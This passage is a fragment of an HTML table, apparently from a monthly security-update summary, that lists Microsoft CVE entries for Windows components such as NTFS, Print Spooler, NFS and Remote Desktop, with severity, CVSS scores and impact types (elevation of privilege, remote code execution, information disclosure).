  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
